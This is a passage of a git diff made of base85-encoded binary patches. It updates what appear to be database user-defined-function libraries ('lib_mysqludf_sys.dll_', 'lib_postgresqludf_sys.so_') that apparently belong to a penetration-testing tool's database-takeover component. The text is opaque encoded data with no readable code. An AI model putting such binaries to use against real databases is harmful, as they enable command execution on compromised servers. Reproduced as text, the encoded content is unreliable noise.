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 literal 4549 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 jU2-t0hW4}%u;1e?)Q=8(#McOcrCrFK diff --git a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ index 97799b69d4d90f2a7cf04830079c57360a746cc5..1e29a745889edf1bea21c6ab7c7b3f8e96f4cce3 100644 GIT binary patch literal 5267 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 Zo$zJ+Ezw~pgk~C_@5z;uSz;c|ob6a%Fya6J literal 5267 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 ZlGPi|X_W;Jf=4LM^t`H+R!3m}*r}hYE&%`l diff --git a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ index 33dbdeeb35bc711bd555536cba564cdbf2705663..2227f89936f75a6f8332ad094506492207aac3ca 100644 GIT binary patch literal 2639 zcmV-V3b6GL?%r=MAX=ex?4>^+<~_7^c02ARP6Q+{J~#ruh^5>8?z0wNr(mysg336ba+@WkN)-dqoJ z0PG@TYn_ICe3phind4?i8k&+DFsHrv$}k@!``0kY&Kwj|nHuZVq^tT8*PxvCjS-9{Zg zO8rV(VL>UsPo09yvIx`90cy;a-m6Gs%S(%&%ZjK}o_yTcrvoLy%5yo~vLN?*H*&0( z*hIexAjwAnGwwL$yo`sS%FmRT2mcPwiDWfv)yzYzC+dY@(j>+7UT=r$%M?=HW7(Q; ze$tj{hU~&DxlTSQqZGbdk*~s=`uVWv2-Wkk9(`#EL>d*pNQJ(%Zk!njvyJa7^WPlW zx`va0G8S&w|&Mlev&Tt%!@TjAx%tecz*@RE>VCK7wqYy40 ziOAE6ZY}9U;v|K&X>SMFv#Dyt$ak6U>gLR%xA9sX&BObOir&CToM^1P;+Ft37Sr#- 